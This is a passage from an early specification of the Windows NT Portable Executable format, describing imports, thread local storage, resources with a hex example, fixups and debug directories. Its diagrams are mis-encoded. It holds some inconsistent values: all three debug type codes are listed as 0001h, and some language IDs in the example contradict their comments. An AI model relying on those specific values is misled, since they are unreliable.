terminated by a null byte. 6. Imports A typical file layout for the import information follows: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DIRECTORY TABLE ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL DIR ENTRY ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL1 LOOKUP TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL2 LOOKUP TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Dll3 LOOKUP TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ HINT-NAME TABLE ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL1 ADDRESS TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL2 ADDRESS TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL3 ADDRESS TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 8. Import File Layout 6.1 Import Directory Table The import information begins with the Import Directory Table which describes the remainder of the import information. The Import Directory Table contains address information that is used to resolve fixup references to the entry points within a DLL image. The import directory table consists of an array of Import Directory Entries, one entry for each DLL this image references. The last directory entry is empty (NULL) which indicates the end of the directory table. An Import Directory Entry has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ IMPORT FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MAJOR VERSION ³ MINOR VERSION ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMPORT LOOKUP TABLE RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMPORT ADDRESS TABLE RVA ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 9. Import Directory Entry IMPORT FLAGS = DD Currently set to zero. TIME/DATE STAMP = DD Time/Date the import data was pre-snapped or zero if not pre-snapped. MAJOR/MINOR VERSION = DW The major/minor version number of the dll being referenced. NAME RVA = DD Relative Virtual Address of the Dll asciiz Name. This is the address relative to the Image Base. IMPORT LOOKUP TABLE RVA = DD This field contains the address of the start of the import lookup table for this image. The address is relative to the beginning of the Image Base. IMPORT ADDRESS TABLE RVA = DD This field contains the address of the start of the import addresses for this image. The address is relative to the beginning of the Image Base. 6.2 Import Lookup Table The Import Lookup Table is an array of ordinal or hint/name RVA's for each DLL. The last entry is empty (NULL) which indicates the end of the table. The last element is empty. 3 0 1 ÚÄÒÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³0º ORDINAL#/HINT-NAME TABLE RVA ³ ÀÄÐÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 10. Import Address Table Format ORDINAL/HINT-NAME TABLE RVA = 31-bits (mask = 7fffffffh) Ordinal Number or Name Table RVA. If the import is by ordinal, this field contains a 31 bit ordinal number. If the import is by name, this field contains a 31 bit address relative to the Image Base to the Hint-Name Table. O = 1-bit (mask = 80000000h) Import by ordinal flag. o 00000000h __Import by name. o 80000000h __Import by ordinal. 6.3 Hint-Name Table The Hint-Name Table format follows: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ HINT ³ ASCII STRING |||³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ´ ³|||||||||||||||||³ '\0' PAD ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ The PAD field is optional. Figure 11. Import Hint-Name Table HINT = DW Hint into Export Name Table Pointers. The hint value is used to index the Export Name Table Pointers array, allowing faster by-name imports. If the hint is incorrect, then a binary search is performed on the Export Name Ptr Table. ASCII STRING = DB ASCII String. The string is case sensitive and is terminated by a null byte. PAD = DB Zero pad byte. A trailing zero pad byte appears after the trailing null byte if necessary to align the next entry on an even boundary. The loader overwrites the import address table when loading the image with the 32-bit address of the import. 6.4 Import Address Table The Import Address Table is an array of addresses of the imported routines for each DLL. The last entry is empty (NULL) which indicates the end of the table. 7. Thread Local Storage Thread local storage is a special contiguous block of data. Each thread will gets its own block upon creation of the thread. The file layout for thread local storage follows: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DIRECTORY TABLE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ TLS DATA ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ INDEX VARIABLE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ CALLBACK ADDRESSES ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 12. Thread Local Storage Layout 7.1 Thread Local Storage Directory Table The Thread Local Storage Directory Table contains address information that is used to describe the rest of TLS. The Thread Local Storage Directory Table has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ START DATA BLOCK VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ END DATA BLOCK VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ INDEX VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ CALLBACK TABLE VA ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 13. Thread Local Storage Directory Table START DATA BLOCK VA = DD Virtual Address of the start of the thread local storage data block. END DATA BLOCK VA = DD Virtual Address of the end of the thread local storage data block. INDEX VA = DD Virtual Address of the index variable used to access the thread local storage data block. CALLBACK TABLE VA = DD Virtual Address of the callback table. 7.2 Thread Local Storage CallBack Table The Thread Local Storage Callbacks is an array of Virtual Address of functions to be called by the loader after thread creation and thread termination. The last entry is empty (NULL) which indicates the end of the table. The Thread Local Storage CallBack Table has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ FUNCTION1 VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ FUNCTION2 VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 14. Thread Local Storage CallBack Table 8. Resources Resources are indexed by a multiple level binary-sorted tree structure. The overall design can incorporate 2**31 levels, however, NT uses only three: the highest is TYPE, then NAME, then LANGUAGE. A typical file layout for the resource information follows: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ RESOURCE DIRECTORY ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESOURCE DATA ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 15. Resource File Layout The Resource directory is made up of the following tables: 8.1 Resource Directory Table ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ RESOURCE FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MAJOR VERSION ³ MINOR VERSION ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ # NAME ENTRY ³ # ID ENTRY ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESOURCE DIR ENTRIES ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 16. Resource Table Entry RESOURCE FLAGS = DD Currently set to zero. TIME/DATE STAMP = DD Time/Date the resource data was created by the resource compiler. MAJOR/MINOR VERSION = DW A user settable major/minor version number. # NAME ENTRY = DW The number of name entries. This field contains the number of entries at the beginning of the array of directory entries which have actual string names associated with them. # ID ENTRY = DW The number of ID integer entries. This field contains the number of 32-bit integer IDs as their names in the array of directory entries. The resource directory is followed by a variable length array of directory entries. # NAME ENTRY is the number of entries at the beginning of the array that have actual names associated with each entry. The entires are in ascending order, case insensitive strings. # ID ENTRY identifies the number of entries that have 32-bit integer IDs as their name. These entries are also sorted in ascending order. This structure allows fast lookup by either name or number, but for any given resource entry only one form of lookup is supported, not both. This is consistent with the syntax of the .RC file and the .RES file. The array of directory entries have the following format: 3 0 1 ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ NAME RVA/INTEGER ID ³ ÃÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³Eº DATA ENTRY RVA/SUBDIR RVA ³ ÀÄÐÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 17. Resource Directory Entry INTERGER ID = DD ID. This field contains a integer ID field to identify a resource. NAME RVA = DD Name RVA address. This field contains a 31-bit address relative to the beginning of the Image Base to a Resource Directory String Entry. E = 1-bit (mask 80000000h) Unescape bit. This bit is zero for unescaped Resource Data Entries. DATA RVA = 31-bits (mask 7fffffffh) Data entry address. This field contains a 31-bit address relative to the beginning of the Image Base to a Resource Data Entry. E = 1-bit (mask 80000000h) Escape bit. This bit is 1 for escaped Subdirectory Entry. DATA RVA = 31-bits (mask 7fffffffh) Directory entries. This field contains a 31-bit address relative to the beginning of the Image Base to Subdirectory Entry. Each resource directory string entry has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ LENGTH ³ UNICODE STRING ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ´ ³ ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 18. Resource Directory String Entry LENGTH = DW Length of string. UNICODE STRING = DW UNICODE String. All of these string objects are stored together after the last resource directory entry and before the first resource data object. This minimizes the impact of these variable length objects on the alignment of the fixed size directory entry objects. The length needs to be word aligned. Each Resource Data Entry has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ DATA RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ CODEPAGE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 19. Resource Data Entry DATA RVA = DD Address of Resource Data. This field contains 32-bit virtaul address of the resource data (relative to the Image Base). SIZE = DD Size of Resource Data. This field contains the size of the resource data for this resource. CODEPAGE = DD Codepage. RESERVED = DD Reserved - must be zero. Each resource data entry describes a leaf node in the resource directory tree. It contains an address which is relative to the beginning of Image Base, a size field that gives the number of bytes of data at that address, a CodePage that should be used when decoding code point values within the resource data. Typically for new applications the code page would be the unicode code page. 8.2 Resource Example The following is an example for an app. which wants to use the following data as resources: TypeId# NameId# Language ID Resource Data 00000001 00000001 0 00010001 00000001 00000001 1 10010001 00000001 00000002 0 00010002 00000001 00000003 0 00010003 00000002 00000001 0 00020001 00000002 00000002 0 00020002 00000002 00000003 0 00020003 00000002 00000004 0 00020004 00000009 00000001 0 00090001 00000009 00000009 0 00090009 00000009 00000009 1 10090009 00000009 00000009 2 20090009 Then the Resource Directory in the Portable format looks like: Offset Data 0000: 00000000 00000000 00000000 00030000 (3 entries in this directory) 0010: 00000001 80000028 (TypeId #1, Subdirectory at offset 0x28) 0018: 00000002 80000050 (TypeId #2, Subdirectory at offset 0x50) 0020: 00000009 80000080 (TypeId #9, Subdirectory at offset 0x80) 0028: 00000000 00000000 00000000 00030000 (3 entries in this directory) 0038: 00000001 800000A0 (NameId #1, Subdirectory at offset 0xA0) 0040: 00000002 00000108 (NameId #2, data desc at offset 0x108) 0048: 00000003 00000118 (NameId #3, data desc at offset 0x118) 0050: 00000000 00000000 00000000 00040000 (4 entries in this directory) 0060: 00000001 00000128 (NameId #1, data desc at offset 0x128) 0068: 00000002 00000138 (NameId #2, data desc at offset 0x138) 0070: 00000003 00000148 (NameId #3, data desc at offset 0x148) 0078: 00000004 00000158 (NameId #4, data desc at offset 0x158) 0080: 00000000 00000000 00000000 00020000 (2 entries in this directory) 0090: 00000001 00000168 (NameId #1, data desc at offset 0x168) 0098: 00000009 800000C0 (NameId #9, Subdirectory at offset 0xC0) 00A0: 00000000 00000000 00000000 00020000 (2 entries in this directory) 00B0: 00000000 000000E8 (Language ID 0, data desc at offset 0xE8 00B8: 00000001 000000F8 (Language ID 1, data desc at offset 0xF8 00C0: 00000000 00000000 00000000 00030000 (3 entries in this directory) 00D0: 00000001 00000178 (Language ID 0, data desc at offset 0x178 00D8: 00000001 00000188 (Language ID 1, data desc at offset 0x188 00E0: 00000001 00000198 (Language ID 2, data desc at offset 0x198 00E8: 000001A8 (At offset 0x1A8, for TypeId #1, NameId #1, Language id #0 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 00F8: 000001AC (At offset 0x1AC, for TypeId #1, NameId #1, Language id #1 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0108: 000001B0 (At offset 0x1B0, for TypeId #1, NameId #2, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0118: 000001B4 (At offset 0x1B4, for TypeId #1, NameId #3, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0128: 000001B8 (At offset 0x1B8, for TypeId #2, NameId #1, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0138: 000001BC (At offset 0x1BC, for TypeId #2, NameId #2, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0148: 000001C0 (At offset 0x1C0, for TypeId #2, NameId #3, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0158: 000001C4 (At offset 0x1C4, for TypeId #2, NameId #4, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0168: 000001C8 (At offset 0x1C8, for TypeId #9, NameId #1, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0178: 000001CC (At offset 0x1CC, for TypeId #9, NameId #9, Language id #0 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0188: 000001D0 (At offset 0x1D0, for TypeId #9, NameId #9, Language id #1 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0198: 000001D4 (At offset 0x1D4, for TypeId #9, NameId #9, Language id #2 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) And the data for the resources will look like: 01A8: 00010001 01AC: 10010001 01B0: 00010002 01B4: 00010003 01B8: 00020001 01BC: 00020002 01C0: 00020003 01C4: 00020004 01C8: 00090001 01CC: 00090009 01D0: 10090009 01D4: 20090009 9. Fixup Table The Fixup Table contains entries for all fixups in the image. The Total Fixup Data Size in the PE Header is the number of bytes in the fixup table. The fixup table is broken into blocks of fixups. Each block represents the fixups for a 4K page. Fixups that are resolved by the linker do not need to be processed by the loader, unless the load image can't be loaded at the Image Base specified in the PE Header. 9.1 Fixup Block Fixup blocks have the following format: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ PAGE RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ BLOCK SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TYPE/OFFSET ³ TYPE/OFFSET ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TYPE/OFFSET ³ ... ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 20. Fixup Block Format To apply a fixup, a delta needs to be calculated. The 32-bit delta is the difference between the preferred base, and the base where the image is actually loaded. If the image is loaded at its preferred base, the delta would be zero, and thus the fixups would not have to be applied. Each block must start on a DWORD boundary. The ABSOLUTE fixup type can be used to pad a block. PAGE RVA = DD Page RVA. The image base plus the page rva is added to each offset to create the virtual address of where the fixup needs to be applied. BLOCK SIZE = DD Number of bytes in the fixup block. This includes the PAGE RVA and SIZE fields. TYPE/OFFSET is defined as: 1 1 0 5 1 ÚÄÄÄÄÒÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³TYPEº OFFSET ³ ÀÄÄÄÄÐÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 21. Fixup Record Format TYPE = 4-bit fixup type. This value has the following definitions: o 0h __ABSOLUTE. This is a NOP. The fixup is skipped. o 1h __HIGH. Add the high 16-bits of the delta to the 16-bit field at Offset. The 16-bit field represents the high value of a 32- bit word. o 2h __LOW. Add the low 16-bits of the delta to the 16-bit field at Offset. The 16-bit field represents the low half value of a 32-bit word. This fixup will only be emitted for a RISC machine when the image Object Align isn't the default of 64K. o 3h __HIGHLOW. Apply the 32-bit delta to the 32-bit field at Offset. o 4h __HIGHADJUST. This fixup requires a full 32-bit value. The high 16-bits is located at Offset, and the low 16-bits is located in the next Offset array element (this array element is included in the SIZE field). The two need to be combined into a signed variable. Add the 32-bit delta. Then add 0x8000 and store the high 16-bits of the signed variable to the 16-bit field at Offset. o 5h __MIPSJMPADDR. All other values are reserved. 10. Debug Information The debug information is defined by the debugger and is not controlled by the portable EXE format or linker. The only data defined by the portable EXE format is the Debug Directory Table. 10.1 Debug Directory The debug directory table consists of one or more entries that have the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ DEBUG FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MAJOR VERSION ³ MINOR VERSION ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DEBUG TYPE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DATA RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DATA SEEK ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 22. Debug Directory Entry DEBUG FLAGS = DD Set to zero for now. TIME/DATE STAMP = DD Time/Date the debug data was created. MAJOR/MINOR VERSION = DW Version stamp. This stamp can be used to determine the version of the debug data. DEBUG TYPE = DD Format type. To support multiple debuggers, this field determines the format of the debug information. This value has the following definitions: o 0001h __Image contains COFF symbolics. o 0001h __Image contains CodeView symbolics. o 0001h __Image contains FPO symbolics. DATA SIZE = DD The number of bytes in the debug data. This is the size of the actual debug data and does not include the debug directory. DATA RVA = DD The relative virtual address of the debug data. This address is relative to the beginning of the Image Base. DATA SEEK = DD The seek value from the beginning of the file to the debug data. If the image contains more than one type of debug information, then the next debug directory will immediately follow the first debug directory.